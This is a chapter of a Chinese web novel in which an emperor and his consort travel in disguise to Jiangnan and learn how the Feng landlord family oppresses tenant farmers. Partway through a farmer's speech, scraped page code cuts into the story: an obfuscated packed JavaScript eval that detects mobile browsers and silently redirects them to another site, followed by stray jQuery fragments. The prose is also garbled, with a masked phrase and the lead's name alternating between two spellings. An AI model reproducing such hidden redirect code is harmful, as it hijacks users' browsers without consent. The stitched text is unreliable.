“他们的想法虽然陈旧，但也是出于对国家的担忧，只是方式有些极端罢了。”秦时月劝道。


    “那怎么办，放弃推行新政吗？”


    “不。”秦时月摇摇头，“新政是一定要推行的，但不必急于一时，我们不妨先放慢脚步，深入民间仔细考察新政的推行可行性。”


    闻言，宋墨尘沉默片刻，觉得她说得有些道理。


    他之前确实有些急于求成，想尽快将新政推广开来，却忽略了民间的真实反应和可能出现的问题。


    “好，就按你说的办，我这就着手安排巡察御史去考察！”


    秦时月连忙抬手制止，“不，不能让巡察御史去。”


    “为何？”宋墨辰不解，“月月是担心他们会官官相护？”


    “这倒不是。”秦时月莞尔一笑，对宋墨辰说道：“陛下可还记得答应过臣妾什么？”


    “什么？”他思索，这些日子他被推行新政一事烦得焦头烂额，竟不记得自己答应过秦时月何事。


    “你说会陪我去江南看看。”秦时月歪头笑道。


    她想小荷了，正好，趁着这次机会去看看小荷。


    闻言，宋墨辰眼前一亮，“月月的意思是？”


    “不错，微服私访。”


    ……


    暮春时节，去往江南路上的官道，一辆不起眼的马车正在行驶着。


    车厢内，宋墨尘一身素色衣袍，秦时月则穿了件淡青色襦裙，梳着简单的发髻。


    秦时月撩开车帘一角，看向窗外，“你看外面的麦田，长势很是不错，想来今年苏州的收成该会好些。”


    宋墨尘顺着她的目光看去，大片的麦田绿油油的，突然他想到在朝堂上与那些大臣的口角，无奈道。


    “收成好是好事，可就怕粮食都进了那些乡绅富户的粮仓，百姓依旧难得温饱。”


    “咱们这次微服出来，不就是为了看看真实情况嘛。”秦时月放下车帘，转头看向他。


    “苏州冯家是江南东路最大的乡绅，据说田产遍布三州五县，若是能说动冯家配合新政，其他乡绅自然会跟风效仿。”


    “但愿如此。”宋墨辰轻叹一声，“不过，我听说冯家现任家主冯万山为人吝啬多疑，想要让他主动配合丈量田产，怕是没那么容易。”


    不一会儿，马车便来到苏州城外。


    下了马车后，宋墨尘和秦时月装扮成寻常夫妇，沿着田埂慢慢走着。


    就在这时，他们看见一位老农正在地里除草，相互看了一眼，走上前搭话。


    “老丈辛苦了。”宋墨尘拱手笑道：“看这麦田长势喜人，今年定是个丰收年啊。”


    老农直起身来，擦了擦额头的汗水，看着两人，警惕道：“二位是外地人吧？”


    “正是，我们夫妇二人游学至此，见此地风光甚好，便四处走走。”秦时月笑着说道：“老丈，这麦田是你家的吗？”


    老农摇摇头，叹了口气，“哪能啊，这大片的田地都是冯家的，我们这些佃户，只是租种冯家的田地，每年要缴纳五成的租子呢。”


    “五成租子！”宋墨尘眉头一皱，“这租子也太高了吧。”


    “高也没办法啊。”老农无奈地说道：“冯家是这一带最大的地主，所有的好田地都在他们手里，我们不租他们的地就只能饿肚子。”


    “而且除了租子，冯家还时常巧立名目，向我们收取各种苛捐杂税，一年下来，辛苦劳作的收成，大半都进了冯家的腰包……”


    说到这，老农的脊背似乎又弯了一些。


    闻言，秦时月心中一沉，问道：“你们还要缴纳官府的赋税吗？”


    “哪能不缴啊？”老农语气中带着几分苦涩和愤懑，“官府的赋税一年比一年重，可冯家却仗着势力大，隐匿了大量田产，缴纳的赋税少得可怜。”


    “我们这些佃户既要给冯家缴租，又要给官府缴税，日子实在是过不下去了。”


    宋墨尘没想到，冯家竟然如此压榨百姓，拧眉问到，“那你们就没想过向官府告发冯家吗？”


    老农苦笑道：“冯家与官府勾结，我们


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16844330|171450||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    就算告发也没人敢管。前几年，有个佃户不堪重负去县衙告发冯家，结果不仅没告成，反而被冯家诬陷偷盗关进了大牢。”


    “有这种事？”秦时月气得脸色发白，“这冯家也太无法无天！”


    老农连忙摆摆手，示意她小声点，“夫人小声点，若是被冯家的人听到了，咱们都没好果子吃。”


    他看了看四周，见没人才压低声音说道：“二位是外地人，还是少管这些闲事，赶紧离开吧。”


    说完，老农便拿起锄头，匆匆走进了麦田，再也不肯多说一句话。


    宋墨尘可看向秦时月，愤怒地攥紧拳头，若不是此刻有秦时月在旁安抚，他定要冲进冯家问个明白！


    “这些乡绅富户，坐拥万顷良田却****！”秦时月冷笑，“他们真觉得天高皇帝远，管不到他们了？”


    “那现在我们该如何？”宋墨辰努力抑制着内心的愤怒，但喷火的眼神已经泄露了他的情绪。


    “现在不是动怒的时候。”秦时月冷静开口，“我们需要收集道更多证据，才能处理冯家。”


    老丈的话虽然可以作为呈堂证供，但一人之言，可信度不高，最好是将所有佃户的证言收集起来，以防冯家人抵赖。


    宋墨尘深吸一口气，压下心中的怒火，“你说得对，我们不能只听一面之词，必须收集足够的证据，才能对冯家采取行动。”


    接下来的几日，两人走遍了冯家周边的十几个村落。


    所见所闻，比他们想象的还要严重。


    冯家不仅收租高昂，苛捐杂税繁多，还常常强占百姓的田地，逼迫百姓为他们无偿劳作。


    有百姓交不起租金，被冯家的家丁殴打致残，有百姓反抗冯家的压榨被诬陷下狱，还有百姓走投无路，只能背井离乡……


    宋墨辰愤怒地猛拍桌子，“不能再等了！”


    “冯万山如此肆无忌惮地鱼肉百姓，若不及时整治定会引发民怨，我立刻传信回宫，让侍书带着我的‘口谕’赶来，好好惩治一下这些目无法纪的乡绅！”